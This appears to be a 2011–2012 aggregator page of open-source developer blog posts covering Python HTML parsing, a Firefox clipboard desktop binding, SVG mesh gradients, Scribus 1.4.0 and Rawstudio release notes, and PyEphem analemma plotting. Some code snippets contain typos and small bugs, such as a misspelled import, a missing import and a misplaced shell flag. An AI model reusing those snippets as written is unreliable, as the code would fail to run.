I more or less finished an axes system for the Arch module. It is a simple, 1-dimension axes system. You can specify the length of the axes, the size of the numbering bubble, and the numbering style (1,2,3,... or A,B,C, etc. Several styles available) directly via the properties. Then, via edit mode (double-clicking on...

January 09, 2012

Análise do projeto nova luz

Tem no momento várias controversas em volta do projeto Nova Luz, no centro de São Paulo. O projeto visa a reformar um grande pedaço do centro, entre a Santa Ifigênia e a Luz, que é considerada uma região com potencial sub-aproveitado, isso é, que é importante porque é no centro, e poderia ajudar a redinamizar...

January 08, 2012

Parsing HTML in Python

I've been having (mis)adventures learning about Python's various options for parsing HTML.

Up until now, I've avoided doing any HTMl parsing in my RSS reader FeedMe. I use regular expressions to find the places where content starts and ends, and to screen out content like advertising, and to rewrite links. Using regexps on HTML is generally considered to be a no-no, but it didn't seem worth parsing the whole document just for those modest goals.

But I've long wanted to add support for downloading images, so you could view the downloaded pages with their embedded images if you so chose. That means not only identifying img tags and extracting their src attributes, but also rewriting the img tag afterward to point to the locally stored image. It was time to learn how to parse HTML.

Since I'm forever seeing people flamed on the #python IRC channel for using regexps on HTML, I figured real HTML parsing must be straightforward. A quick web search led me to Python's built-in HTMLParser class. It comes with a nice example for how to use it: define a class that inherits from HTMLParser, then define some functions it can call for things like handle_starttag and handle_endtag; then call self.feed(). Something like this:

from HTMLParser import HTMLParser

class MyFancyHTMLParser(HTMLParser):
  def fetch_url(self, url) :
    request = urllib2.Request(url)
    response = urllib2.urlopen(request)
    link = response.geturl()
    html = response.read()
    response.close()
    self.feed(html)   # feed() starts the HTMLParser parsing

  def handle_starttag(self, tag, attrs):
    if tag == 'img' :
      # attrs is a list of tuples, (attribute, value)
      srcindex = self.has_attr('src', attrs)
      if srcindex < 0 :
        return   # img with no src tag? skip it
      src = attrs[srcindex][1]
      # Make relative URLs absolute
      src = self.make_absolute(src)
      attrs[srcindex] = (attrs[srcindex][0], src)

    print '<' + tag
    for attr in attrs :
      print ' ' + attr[0]
      if len(attr) > 1 and type(attr[1]) == 'str' :
        # make sure attr[1] doesn't have any embedded double-quotes
        val = attr[1].replace('"', '\"')
        print '="' + val + '"')
    print '>'

  def handle_endtag(self, tag):
    self.outfile.write('</' + tag.encode(self.encoding) + '>\n')

Easy, right? Of course there are a lot more details, but the basics are simple.

I coded it up and it didn't take long to get it downloading images and changing img tags to point to them. Woohoo! Whee!

The bad news about HTMLParser

Except ... after using it a few days, I was hitting some weird errors. In particular, this one:
HTMLParser.HTMLParseError: bad end tag: ''

It comes from sites that have illegal content. For instance, stories on Slate.com include Javascript lines like this one inside <script></script> tags:
document.write("<script type='text/javascript' src='whatever'></scr" + "ipt>");

This is technically illegal html -- but lots of sites do it, so protesting that it's technically illegal doesn't help if you're trying to read a real-world site.

Some discussions said setting self.CDATA_CONTENT_ELEMENTS = () would help, but it didn't.

HTMLParser's code is in Python, not C. So I took a look at where the errors are generated, thinking maybe I could override them. It was easy enough to redefine parse_endtag() to make it not throw an error (I had to duplicate some internal strings too). But then I hit another error, so I redefined unknown_decl() and _scan_name(). And then I hit another error. I'm sure you see where this was going. Pretty soon I had over 100 lines of duplicated code, and I was still getting errors and needed to redefine even more functions. This clearly wasn't the way to go.

Using lxml.html

I'd been trying to avoid adding dependencies to additional Python packages, but if you want to parse real-world HTML, you have to. There are two main options: Beautiful Soup and lxml.html. Beautiful Soup is popular for large projects, but the consensus seems to be that lxml.html is more error-tolerant and lighter weight.

Indeed, lxml.html is much more forgiving. You can't handle start and end tags as they pass through, like you can with HTMLParser. Instead you parse the HTML into an in-memory tree, like this:

  tree = lxml.html.fromstring(html)

How do you iterate over the tree? lxml.html is a good parser, but it has rather poor documentation, so it took some struggling to figure out what was inside the tree and how to iterate over it.

You can visit every element in the tree with

for e in tree.iter() :
  print e.tag

But that's not terribly useful if you need to know which tags are inside which other tags. Instead, define a function that iterates over the top level elements and calls itself recursively on each child.

The top of the tree itself is an element -- typically the <html></html> -- and each element has .tag and .attrib. If it contains text inside it (like a <p> tag), it also has .text. So to make something that works similarly to HTMLParser:

def crawl_tree(tree) :
  handle_starttag(tree.tag, tree.attrib)
  if tree.text :
    handle_data(tree.text)
  for node in tree :
    crawl_tree(node)
  handle_endtag(tree.tag)

But wait -- we're not quite all there. You need to handle two undocumented cases.

First, comment tags are special: their tag attribute, instead of being a string, is <built-in function Comment> so you have to handle that specially and not assume that tag is text that you can print or test against.

Second, what about cases like <p>Here is some <i>italicised</i> text.</p> ? in this case, you have the p tag, and its text is "Here is some ". Then the p has a child, the i tag, with text of "italicised". But what about the rest of the string, " text."?

That's called a tail -- and it's the tail of the adjacent i tag it follows, not the parent p tag that contains it. Confusing!

So our function becomes:

def crawl_tree(tree) :
  if type(tree.tag) is str :
    handle_starttag(tree.tag, tree.attrib)
    if tree.text :
      handle_data(tree.text)
    for node in tree :
      crawl_tree(node)
    handle_endtag(tree.tag)
  if tree.tail :
    handle_data(tree.tail)

See how it works? If it's a comment (tree.tag isn't a string), we'll skip everything -- except the tail. Even a comment might have a tail:
<p>Here is some <!-- this is a comment --> text we want to show.</p>
so even if we're skipping comment we need its tail.

I'm sure I'll find other gotchas I've missed, so I'm not releasing this version of feedme until it's had a lot more testing. But it looks like lxml.html is a reliable way to parse real-world pages. It even has a lot of convenience functions like link rewriting that you can use without iterating the tree at all. Definitely worth a look!

A tribute to my father

La Vega. oleo-lienzo. 124 x84 cm.

There’s no need to tell how much I admire my parents and how much I owe to them. I can consider myself lucky to been raised in a family where arts talking where pervasive and my father, humble as a human can be, fail to recognize the great artist he is. Also the wonderful landscapes he paint are all surrounding my home :)

Before leaving I’ve quickly set up a gallery to show some of his artworks on Oil and Canvas.


Endless polygons

I’m leaving to Cuba tomorrow, many feelings currently got mixed inside me ranging from happiness to sadness, and I can certainly said that I’m not the same who 5 month ago took a plane to Kiev. Somehow I feel much more mature :)
I’m very grateful for everything and everyone I’ve met here, first time and first impression are things you never forget and the most valuable memories we carry on through our lives.
And since in a while I will not be able to upload high quality content and cannot be very active in terms of connectivity I’ve made a quick more practical test about LiveClay. This is a quick timelapse I’ve made on a base female head to accomplish an Afro hair style, This was made in a laptop thus limiting the real time capture interval and performing lot’s of background tasks and still I was impressed on how 3DCoat was able to handle +4million triangles without any hassle so I could actually keep adding more and more details to any level without problem, but I’m a lazy skill-less artist so I leave it on hair and earrings :P .
Almost endless polygons!
Note: this is not how 3DCoat 4 will look like!

If you like also the 3DCoat theme you can download it here

Hope you like it!


Update: Still bummed about the 11-million-year …

Update: Still bummed about the 11-million-year commute to the planet Kepler B we discussed last month? Be sure to read BoingBoing’s article on the (im)practicality and cost of interstellar travel. While Kepler 22b might be a boring 11-million-year flight away, the nearest star, Alpha Centauri would only be a brisk 70,000 years or so.

January 07, 2012

House renderings

A couple of images for a house projected by our friend Daniela Walty...

Twitter: 2012-01-08

The Swoosh is a Lie

99% Invisible Podcast

From the delightful 99% Invisible podcast, I learned today that many televised sporting events use pre-recorded audio samples to fake a sense of realism. When you watch at least some sports on television, particularly those that cover large areas, the swoosh of a cross-country skier, the splash of a rower’s paddle, or the thundering stampede of horse racing, may be coming from a sound designer’s sampler rather than the atheletes you’re seeing on screen.

Like most episodes of 99% Invisible, this Sound of Sport episode is only 5 minutes long, well produced, and fascinating. Since learning about 99% Invisible from the also-delightful RadioLab podcast, I’ve almost caught up on all 44 (so far) episodes. Highly recommended.

While we’re enjoying podcasts, the Planet Money podcast somehow manages to make the world of economics interesting to those of us who are completely uninterested in economics.

January 06, 2012

Some missing basic brushes

I hope this will fill the gap for some basic brush requests ;)

Cheers


January 05, 2012

Call for Content: Blenderart Magazine #36

It’s time again to start thinking about articles, tutorials and images for Issue # 36 of Blenderart Magazine.

The theme for this issue is “Odds n’ Ends: props and accessories”

Welcome back to a new year of Blenderart Magazine. We are going to kick off 2012 with a look at how to create all the Odds n’ Ends that make images and animations look great. No character is complete without their clothes, armor and all the various accessories that complete their look. And scenes are flat and lifeless without a variety of well placed props to add detail and depth to tell your story.

In addition, we want to take a look at how to use some of the fun new features of Blender 2.61 with all these needed props and accessories. So get to modeling, texturing and don’t forget to write about it and share your masterpieces with the rest of us.

Looking for tutorials or “making of” articles on:

  • any props or accessories needed for any character or scene
  • how to use new blender features

Articles

Send in your articles to sandra
Subject: “Article submission Issue # 36 [your article name]“

 

Gallery Images

As usual you can also submit your best renders based on the theme of the issue. The theme of this issue is “Odds n’ Ends: props and accessories”. Please note if the entry does not match with the theme it will not be published.

Send in your entries for gallery to gaurav
Subject: “Gallery submission Issue # 36″

 

Note: Image size should be of 1024x (width) at max.

Last date of submissions February 5, 2012.

 

Good luck!
Blenderart Team

 

Mesh Gradients in SVG

I’ve been working on adding Mesh Gradients to the SVG standard and in principle they have been accepted as part of SVG 2. In particular, the SVG working group has approved the addition of Coons Patch mesh gradients. This type of mesh is powerful enough to handle the requirements for most advanced gradients use cases and at the same time is a convenient form for use in content creation. Coons Patch meshes are included in the PostScript and PDF standards (Type 6 Shading) and the Cairo rendering library supports them in trunk. I’ve added support for meshes to a my own branch of Inkscape for testing purposes.

The SVG working group has identified one problem with the meshes: It is not always possible to have smooth color transitions across mesh boundaries. To understand why this can be a problem, one must understand how the meshes work.

A Coons Patch mesh is composed of an array of Coons Patches. A Coons Patch consists of four Bézier curves along the sides with colors defined at each corner. The color of any point inside the patch is determined by a two-dimension bi-linear interpolation of the corner colors followed by a geometric mapping defined by the Bézier patch sides.

Left: square showing color interpolation. Right: patch showing result of mapping.

Left: Color defined by a two-dimension bi-linear interpolation of the corner colors. Right: the color interpolation mapped to the patch region. The Bézier end points (corners) and handles are shown as diamonds and circles respectively.

The key word in the above description is “linear”. Working in one dimension, linear interpolation between two colors works exactly the same as in the linear gradient of SVG 1. A patch corresponds to the interval between two color “stops”. The linear gradient in the following figure consists of three stops or two “patches”. The color transition between the two patches is continuous but not smooth.

Top: a three stop linear gradient. Bottom: the RGB color profile of the gradient.

Top: A three stop gradient with stop colors blue, purple, and yellow. Bottom: Plots of the red, green, and blue profiles of the gradient.

Lack of smoothness in some cases can lead to visual artifacts as illustrated in the following figure:

Six linear gradients with the second and fourth stops in different places.

Linear gradients consisting of five stops. The outer two are black, the center one is white, and the remaining two are set to 90% white. The position of the 90% white stops are different for each gradient. The red line shows the black to white profile for each gradient.

As one can see in the above linear gradients, the eye is fooled into thinking that the location of the 90% white stop is whiter than the areas immediate right and left of the stop. This is due to the Mach Banding effect.

With meshes, one can move the Bézier “handles” to alter the color profile. This is equivalent to stretching or shrinking a section of the patch. If the side is linear, moving the handles will not change the shape of the patch but will change the “speed” of the curve’s parameterization. The following figure shows how moving the handles can yield a smooth transition and eliminate the Mach Banding:

Three gradients illustrating how to smooth a color transition.

The top gradient is a linear gradient. The middle gradient is a Coons Patch mesh gradient that duplicates the linear gradient. The location of the Bézier handles (circles) are shown in blue. They are at their default positions spaces one-third of the way between the corner points (squares), corresponding to a linear interpolation. The bottom gradient is a Coons Patch mesh gradient where the top and bottom handles have been moved to smooth out the transition across the patch boundaries. The 90% stop has been changed to 80%. The purple line on the bottom gradient shows the new color profile.

As illustrated above, it is possible in some cases to obtain smooth transitions with Coons Patch mesh gradients across patch boundaries. However there are cases where it is not possible. Consider the center “stop” in the above figure. No matter how you manipulate the handles you can not achieve a smooth transition at this point. The derivative of the color profile cannot be made to be zero. The following figure shows some of the profiles available for one patch:

Three gradients showing the range of allowed color profiles when moving Bézier handles.

Three Coons patch meshes are shown where the left corners are black and the right corners are white. Overlaid each gradient is the color profile determined by the handle placements of the top and bottom Bézier curves. The top gradient shows the color profile with the default handle placement (i.e. when a curve is defined by a “lineto”). The Bézier handles of top and bottom of the mesh are shown in blue while the color profile with the profile’s effective Bézier handles are shown in red. The middle gradient shows the the color profile when the handle “lengths” are zero (i.e. when the handles are placed on top of the corners. The bottom gradient shows the color profile when the handles are placed over the opposite corners.

Note that in the above figure the handles of the effective Bézier curve color profile are constrained to horizontal lines one-third of the distance between the top and bottom range of the color profile. As a result, one can never have a profile where the derivative of the color change at a boundary is zero. Also note, that while the handles can be moved outside the patch region to the left or right, a discontinuity in the color profile will result as the effective profile Bézier will overlap itself.

Another case where it is impossible to obtain a smooth transition is when the different primary colors (red, green, blue) have different profiles. In general, only the profile of one color can be made smooth.

So how do Adobe Illustator and Corel Draw get smooth transitions? I don’t have either one so I can’t check personally but from a paper by Sun, Liang, Wen, and Shum it appears that Adobe Illustrator and Corel Draw use a monotonic cubic spline interpolation instead of a linear interpolation. Then, when exporting to PostScript or PDF, a single Illustrator or Corel Draw patch gets exported as multiple Coons patches inorder to approximate the smooth transitions.

The question then is: should the SVG standard support the Coons Patch meshes with bi-linear interpolation or should it specidfy a more complex interpolation. My inclination is to leave the interpolation as bi-linear and follow Adobe’s and Corel’s lead and let the authoring software handle smoothing out transitions when necessary. This keeps compatability with existing standards and keeps the definition of the patches simpler.

More details about meshes in SVG can be found at my
Coons Patche Meshes page.

January 04, 2012

Time

A mobile device that does not give its user access to time?

Open the X selection in a browser window, from any desktop

Like most Linux users, I use virtual desktops. Normally my browser window is on a desktop of its own.

Naturally, it often happens that I encounter a link I'd like to visit while I'm on a desktop where the browser isn't visible. From some apps, I can click on the link and have it show up. But sometimes, the link is just text, and I have to select it, change to the browser desktop, paste the link into firefox, then change desktops again to do something else while the link loads.

So I set up a way to load whatever's in the X selection in firefox no matter what desktop I'm on.

In most browsers, including firefox, you can tell your existing browser window to open a new link from the command line: firefox http://example.com/ opens that link in your existing browser window if you already have one up, rather than starting another browser. So the trick is to get the text you've selected.

At first, I used a program called xclip. You can run this command: firefox `xclip -o` to open the selection. That worked okay at first -- until I hit my first URL in weechat that was so long that it was wrapped to the next line. It turns out xclip does odd things with multi-line output; depending on whether it thinks the output is a terminal or not, it may replace the newline with a space, or delete whatever follows the newline. In any case, I couldn't find a way to make it work reliably when pasted into firefox.

After futzing with xclip for a little too long, trying to reverse-engineer its undocumented newline behavior, I decided it would be easier just to write my own X clipboard app in Python. I already knew how to do that, and it's super easy once you know the trick:

mport gtk
primary = gtk.clipboard_get(gtk.gdk.SELECTION_PRIMARY)
if primary.wait_is_text_available() :
    print primary.wait_for_text()

That just prints it directly, including any newlines or spaces. But as long as I was writing my own app, why not handle that too?

It's not entirely necessary on Firefox: on Linux, Firefox has some special code to deal with pasting multi-line URLs, so you can copy a URL that spans multiple lines, middleclick in the content area and things will work. On other platforms, that's disabled, and some Linux distros disable it as well; you can enable it by going to about:config and searching for single, then setting the preference editor.singlelinepaste.pasteNewlines to 2.

However, it was easy enough to make my Python clipboard app do the right thing so it would work in any browser. I used Python's re (regular expressions) module:

#!/usr/bin/env python

import gtk
import re

primary = gtk.clipboard_get(gtk.gdk.SELECTION_PRIMARY)

if not primary.wait_is_text_available() :
    sys.exit(0)
s = primary.wait_for_text()

# eliminate newlines, and any spaces immediately following a newline:
print re.sub(r'[\r\n]+ *', '', s)

That seemed to work fine, even on long URLs pasted from weechat with newlines and spaces, like that looked like

http://example.com/long-
    url.html

All that was left was binding it so I could access it from anywhere. Of course, that varies depending on your desktop/window manager. In Openbox, I added two items to my desktop menu in menu.xml:

  <item label="open selection in Firefox">
    <action name="Execute"><execute>sh -c 'firefox `xclip -o`'</execute></action>
  </item>
  <item label="open selection in new tab">
    <action name="Execute"><execute>sh -c 'firefox -new-tab `xclip -o`'</execute></action>
  </item>

I also added some code in rc.xml inside <context name="Desktop">, so I can middle-click or control-middle-click on the desktop to open a link in the browser:

      <mousebind button="Middle" action="Press">
        <action name="Execute">
          <execute>sh -c 'firefox `pyclip`'</execute>
        </action>
      </mousebind>
      <mousebind button="C-Middle" action="Press">
        <action name="Execute">
          <execute>sh -c -new-tab 'firefox `pyclip`'</execute>
        </action>
      </mousebind>

I set this up maybe two hours ago and I've probably used it ten or fifteen times already. This is something I should have done long ago!

January 03, 2012

Worm shop Rotterdam: the first physical distributor of Libre Graphics magazine

It is with pride that we announce our first bricks-and-mortar distributor for the magazine.
Since last December, the Libre Graphics magazine is available for sale at Worm’s shop in Rotterdam. Get yours!

January 02, 2012

Scale feature in FreeCAD Draft

I changed a bit the current scale tool in the Draft module. It now uses a parametric object instead of modifying the base object. The parametric object allows you to change the scale factor afterwards. The old behaviour is still available to python scripting, though.

January 01, 2012

Scribus 1.4.0 Released

Scribus 1.4.0 Released

After almost 4 years of intensive work, the Scribus Team (http://www.scribus.net) has released the new stable version 1.4.0 of the Open Source desktop publishing program Scribus.
Given this is the first major stable release in some time, this document outlines improvements over the last number of versions, rather than since just the last one. The idea is to form a general comparison between this and the last stable release.

In summary, more than 2000 feature requests and bugs have been resolved since the development of this new version started.

Major changes and improvements in comparison to the last stable version 1.3.3.14 are:

  • 1.4.0 is based on the Qt4 application framework. The initial transition from Qt3 was performed quite quickly, but fine tuning for cross-platform compatibility and taking advantage of new features took quite some time. As a result, Scribus now runs equally reliable on all supported platforms.
  • Thanks to the port to Qt4, the Scribus Team now also provides install files for Mac OS X 10.5 or later (DMG or pkg format), as well as a native version for OS/2 Warp 4 and eComStation. Additionally, thanks to feedback from users of other UNIX platforms, Scribus is will build and run on more of those platforms as well.
  • Feature enhancements to object handling (e.g. transform tools like in advanced drawing programs), with improvements to existing features like the Scrapbook and the Image Manager.
  • Many advanced options for text and typography, like character styles, optical margins, or glyph extension. Undo/Redo is finally available for almost all text-related actions, and a new script enables replacing straight quotes with typographical quotation marks based on language settings. Usability improvements include better cursor placement and movement, faster layout on canvas and interaction between linked frames.
  • New features for vector objects, like Boolean path operations, vector effects or a line style editor.
  • Major improvements to the handling of fills, like pattern fill, more gradient types, support for external color palette formats (AI, EPS, GPL, PostScript, SOC), and many new color palettes, including those from commercial vendors like Resene and dtp studio, as well as national/government standards.
  • A new frame type called “Render Frame” allows for rendering (and subsequently export) the output of every program that can create PostScript, PDF or PNG files via the command line (e.g. LaTeX, Lilypond, POV-Ray) inside Scribus. The initial version of which was developed as a project for Google Summer of Code and this project has developed to allow import of externally produced documents, scientific publications and formulas. More renderers can be added with a simple configuration file.
  • Vector import filters: Scribus 1.4.0 provides new import filters for the following file formats: Adobe Illustrator (both EPS and PDF-based), Macintosh Picture (PICT), Windows Metafile (WMF), Xfig (FIG), Calamus Vector Graphics (CVG), Kivio Stencils (SML), and DIA Shapes (SHAPE).
  • Regarding bitmap images, the handling of Photoshop files has seen many major improvements, like support of multiple clipping paths or PSD layers. The Image Manager has been rewritten, and new non-destructive image effects have been added. Moreover, Scribus 1.4.0 now supports EXIF data in images, and import of Windows and OS/2 bitmaps (BMP) has been re-enabled.
  • Among the major enhancements to Scribus’s pre-press features, printing marks and the display of ink coverage in the Print Preview are the most important. In addition, Scribus now enables conversion of spot colors to process colors during PDF and PostScript export with a single click.
  • PDF export has seen major improvements as well. Scribus can now export to PDF 1.5, including PDF layers. Another new feature is the option to embed EPS and PDF files in exported PDFs as an alternative to rasterizing them. Also, both font embedding and substitution have been improved.
  • For color management, Scribus 1.4.0 now supports both littleCMS version 1 and 2. It’s also possible to enable color management with a single click from the main window.
  • Additionally, the Scribus Team has added a feature to emulate color blindness on screen.
  • Hundreds of minor and major usability improvements have been added.
  • The included scripts have been updated, including the addition of the “Autoquote” script in the Script menu to convert straight quotes in a text frame to correct quotation marks for many languages.
  • Scribus 1.4.0 is being shipped with many more templates than previous versions.
  • The content of the Help System has been rewritten and updated.

Now that Scribus 1.4.0 has been released, the Scribus Team will focus on stabilizing the 1.5 development branch, which will comprise amazing new features like support for PDF/X-1a, PDF/X-4 and PDF/E, Mesh Gradients, native PDF import, XAR import, a completely rewritten table implementation, a rewritten text system, and much more. The 1.4.x version is now in stable/maintenance mode, which means few features will be backported from the 1.5 development branch. In general, only bugs will be fixed in subsequent 1.4.x versions, along with new content, like new translations, new templates, or additional color palettes.

Important Information

If you are working with a team, try to make sure that all team members use the same Scribus version – this will avoid many headaches and extra work. Users should be warned that 1.3.3.x cannot open 1.4.0 files.

The Scribus Team recommends that all distributions package Scribus 1.4.0 as “Scribus” (and replace the outdated Scribus 1.3.3.14).

The 1.4.x branch will now be developed in the Version14x branch of our Subversion repository, leaving the Version135 one behind. This also fixes the version numbering issues of the past, with just two main versions, 1.4.x and 1.5.x

The Scribus Team will continue to implement new features and improvements in the development branch 1.5.x.

We recommend the additional packaging of 1.5 only if it is marked as a development version and can be installed alongside an existing Scribus 1.4.0 (for example as scribus-ng).

The English online help has been mostly updated to match the new features. Translations have temporarily disabled, since they need to be synchronised with the English version once the update is complete. Further updates will be included with subsequent 1.4 releases.

Primary Download Location

  • Installation packages and the source code are available here: http://sourceforge.net/projects/scribus/files/scribus/1.4.0/
  • Upstream Debian/Ubuntu repo: http://debian.scribus.net
  • Fedora RPMS: http://download.opensuse.org/repositories/home:/mrdocs
  • OpenSUSE, Mandriva and SLED RPMs: http://download.opensuse.org/repositories/home:/mrdocs
  • All download options are listed at http://wiki.scribus.net/canvas/Download

Download Verification

Description File Name Sha1sum
Source scribus-1.4.0.tar.bz2 af38413420eaa783d20f2db189aef408be844048
Source scribus-1.4.0.tar.xz 0e3afb98a56084c2938a8402df2d89214c42b809
OS X Leopard or higher (DMG) scribus-1.4.0.dmg eae5adacdc207f4bda6136dc48c26b83dcbf6b9a
OS X Leopard or higher (PKG) scribus-1.4.0.pkg 64df9a61b33183dbc85b9a3090a648c75f320640
Windows 32/64 Bit scribus-1.4.0-windows.exe 268b9e8658528677ceac6252dae348c49643d159
OS/2 / eComStation scribus-1.4.0-os2ecs.zip 4fe0b3cf562cda4e1b78bf89a2340bb868610014

Credits

The Scribus Team would like to thank Anduin.net and Modirum for their continued hosting of all of the Scribus websites.

We are also grateful to the Organisation Internationale de la Francophonie and Linux New Media (Germany) for sponsoring.

As of July 2011, the Scribus Team is also pleased to welcome Resene Colours (New Zealand) and Marabu-Druckfarben (Germany) as Special Supporters and donors of colour palettes which are part of the 1.4.0 release.

Finally, the Scribus Team would like to thank the many end users, translators, testers and contributors who helped us with this important release.

About Scribus

Scribus is an Open Source program for professional page layout with press-ready output to PDF files. Underneath a modern and user-friendly interface, Scribus supports professional publishing features, such as color separations, CMYK and Spot Color support, ICC color management, and versatile PDF creation.

2011 in review

The WordPress.com stats helper monkeys prepared a 2011 annual report for this blog.

Here’s an excerpt:

The Louvre Museum has 8.5 million visitors per year. This blog was viewed about 200,000 times in 2011. If it were an exhibit at the Louvre Museum, it would take about 9 days for that many people to see it.

Click here to see the complete report.


December 31, 2011

Twitter: 2012-01-01

  • I got another piece of jewelry 3D printed and cast in silver, this time a necklace inspired by a Turkish tile pattern: http://t.co/0mLGXSza #
  • And I mean that in the best possible way #
  • Tintin. Wow. Weta, you bunch of maniacs. #
  • still waiting for chems to develop my films :( RT @kat_lu so I've finally uploaded all my photos from Turkey… http://t.co/IcddgB9M in reply to kat_lu #

December 30, 2011

End of the Year Goodies

Hi All

Wave sphere rendered in Blender Internal

I wish you all a wonderful new 2012 year!!!! and as a goodies for this dying year I would like to announce few improvements and new features I’ve been working on:

Improved Swirl brush

Wave brush

Procedural Noise to modify main LiveClay tools behavior


Plotting the Analemma

My SJAA planet-observing column for January is about the Analemma and the Equation of Time.

The analemma is that funny figure-eight you see on world globes in the middle of the Pacific Ocean. Its shape is the shape traced out by the sun in the sky, if you mark its position at precisely the same time of day over the course of an entire year.

The analemma has two components: the vertical component represents the sun's declination, how far north or south it is in our sky. The horizontal component represents the equation of time.

The equation of time describes how the sun moves relatively faster or slower at different times of year. It, too, has two components: it's the sum of two sine waves, one representing how the earth speeds up and slows down as it moves in its elliptical orbit, the other a function the tilt (or "obliquity") of the earth's axis compared to its orbital plane, the ecliptic.

[components of the Equation of time] The Wikipedia page for Equation of time includes a link to a lovely piece of R code by Thomas Steiner showing how the two components relate. It's labeled in German, but since the source is included, I was able to add English labels and use it for my article.

But if you look at photos of real analemmas in the sky, they're always tilted. Shouldn't they be vertical? Why are they tilted, and how does the tilt vary with location? To find out, I wanted a program to calculate the analemma.

Calculating analemmas in PyEphem

The very useful astronomy Python package PyEphem makes it easy to calculate the position of any astronomical object for a specific location. Install it with: easy_install pyephem for Python 2, or easy_install ephem for Python 3.

import ephem
observer = ephem.city('San Francisco')
sun = ephem.Sun()
sun.compute(observer)
print sun.alt, sun.az

The alt and az are the altitude and azimuth of the sun right now. They're printed as strings: 25:23:16.6 203:49:35.6 but they're actually type 'ephem.Angle', so float(sun.alt) will give you a number in radians that you can use for calculations.

Of course, you can specify any location, not just major cities. PyEphem doesn't know San Jose, so here's the approximate location of Houge Park where the San Jose Astronomical Association meets:

observer = ephem.Observer()
observer.name = "San Jose"
observer.lon = '-121:56.8'
observer.lat = '37:15.55'

You can also specify elevation, barometric pressure and other parameters.

So here's a simple analemma, calculating the sun's position at noon on the 15th of each month of 2011:

    for m in range(1, 13) :
        observer.date('2011/%d/15 12:00' % (m))
        sun.compute(observer)

I used a simple PyGTK window to plot sun.az and sun.alt, so once it was initialized, I drew the points like this:

    # Y scale is 45 degrees (PI/2), horizon to halfway to zenith:
    y = int(self.height - float(self.sun.alt) * self.height / math.pi)
    # So make X scale 45 degrees too, centered around due south.
    # Want az = PI to come out at x = width/2.
    x = int(float(self.sun.az) * self.width / math.pi / 2)
    # print self.sun.az, float(self.sun.az), float(self.sun.alt), x, y
    self.drawing_area.window.draw_arc(self.xgc, True, x, y, 4, 4, 0, 23040)

So now you just need to calculate the sun's position at the same time of day but different dates spread throughout the year.

[analemma in San Jose at noon clock time] And my 12-noon analemma came out almost vertical! Maybe the tilt I saw in analemma photos was just a function of taking the photo early in the morning or late in the afternoon? To find out, I calculated the analemma for 7:30am and 4:30pm, and sure enough, those were tilted.

But wait -- notice my noon analemma was almost vertical -- but it wasn't exactly vertical. Why was it skewed at all?

Time is always a problem

As always with astronomy programs, time zones turned out to be the hardest part of the project. I tried to add other locations to my program and immediately ran into a problem.

The ephem.Date class always uses UTC, and has no concept of converting to the observer's timezone. You can convert to the timezone of the person running the program with localtime, but that's not useful when you're trying to plot an analemma at local noon.

At first, I was only calculating analemmas for my own location. So I set time to '20:00', that being the UTC for my local noon. And I got the image at right. It's an analemma, all right, and it's almost vertical. Almost ... but not quite. What was up?

Well, I was calculating for 12 noon clock time -- but clock time isn't the same as mean solar time unless you're right in the middle of your time zone.

You can calculate what your real localtime is (regardless of what politicians say your time zone should be) by using your longitude rather than your official time zone:

    date = '2011/%d/12 12:00' % (m)
    adjtime = ephem.date(ephem.date(date) \
                    - float(self.observer.lon) * 12 / math.pi * ephem.hour)
    observer.date = adjtime

Maybe that needs a little explaining. I take the initial time string, like '2011/12/15 12:00', and convert it to an ephem.date. The number of hours I want to adjust is my longitude (in radians) times 12 divided by pi -- that's because if you go pi (180) degrees to the other side of the earth, you'll be 12 hours off. Finally, I have to multiply that by ephem.hour because ... um, because that's the way to add hours in PyEphem and they don't really document the internals of ephem.Date.

[analemma in San Jose at noon clock time] Set the observer date to this adjusted time before calculating your analemma, and you get the much more vertical figure you see here. This also explains why the morning and evening analemmas weren't symmetrical in the previous run.

This code is location independent, so now I can run my analemma program on a city name, or specify longitude and latitude.

PyEphem turned out to be a great tool for exploring analemmas. But to really understand analemma shapes, I had more exploring to do. I'll write about that, and post my complete analemma program, in the next article.

Editable titleblocks in FreeCAD

Lots of new features are arriving after the 0.12 release. I just implemented editable titleblocks: More here.

December 29, 2011

Rawstudio 2.1 Feature Freeze

We have been slowly updating Rawstudio despite an otherwise busy schedule. This Here is a quick run-through of the new features.

Asynchronous Display Rendering

One of the most common requests is a more responsive UI, when adjusting settings.  I didn’t expect this to be a huge win, since it will not actually speed up rendering. However, after an experimental implementation, it really makes a big difference in how responsive the program feels.

Basically all adjustments are now pushed to a separate thread, that begins re-rendering the image, if no further adjustments are made for 50 milliseconds. This makes sliders much more responsive, since an instant re-render isn’t triggered right away.

Since multi-threading in a complex application such as Rawstudio can bring some unforeseen consequences, this is also the most likely source of instability. Not in the sense of data loss, but it could still result in some unexpected and hard to reproduce crashes.

System Display Profile

You can now use the display profiles you have assigned to your monitors. You can select the to use the system display profile in the Preferences box:

New “Advanced” profiles

We have created a number of “Advanced” color profiles, which will hopefully give a more precise color reproduction than the “simple” matrix-based profiles. You can read more about them here in a previous blog entry.

 

Full changelist

New Stuff

  • System Display profiles can now be used
  • Automatic “Quick Export” is now available when using tethered shooting, allowing direct tethered -> picasa/facebook/flickr upload.
  • Exposure compensation is new read and displayed in the iconbox. (patch by Erik Wognsen)
  • Add error notification when unable to save image settings.
  • Add more metadata info to filename generation (iso, shutter, aperture, focal length & week number)
  • Faster DCP profile processing
  • Add option to lenses for correcting for fisheye effect. Selectable per lens.
  • Update image while dragging curve points.
  • Cropping can be done by moving single borders.
  • Allowing to de-select a lens in lens editor.
  • Exposure Mask colorspace now used for histogram – not using display cs anymore
  • Multi-threaded processing when using ICC profiles
  • Lens Correction cropping is now done without doing actual cropping of the image, faster image display because of that.
  • Overlay scrollbar is disabled, since it makes usability of the iconbar much worse.

Camera Support, Color Profiles

  • Canon Powershot S100
  • Nikon E5100
  • Panasonic GF3
  • FUJI Finepix X100, F600 EXR
  • Olympus E-P3, E-PL3, E-PM1
  • Panasonic DMC G3, DMC GF3, DMC GX1
  • Pentax Q, K100D, K110D,* istD,* istDL, * istDL2, * istDS, * istDS2
  • Sony NEX C3, NEX-5N, SLT A35, SLT A55, SLT A65V,  SLT A77V
  • Leica M9

Camera Support, File Loading

  • Canon Powershot S100
  • Olympus E-PM1, E-PL3, E-P3 added
  • Sony NEX-5N, NEX-C3, SLT-A35, SLT-A77V added
  • Panasonic DMC GF3, DMC G3, FZ150 added
  • Faster ORF (Olympus) decoding
  • Olympus cameras read black level from makernote.
  • Updated Canon 450D and 7D ISO 12800 white level
  • Fix White level of Panasonic GH-2
  • Add black area to Pentax K-x for better black estimation
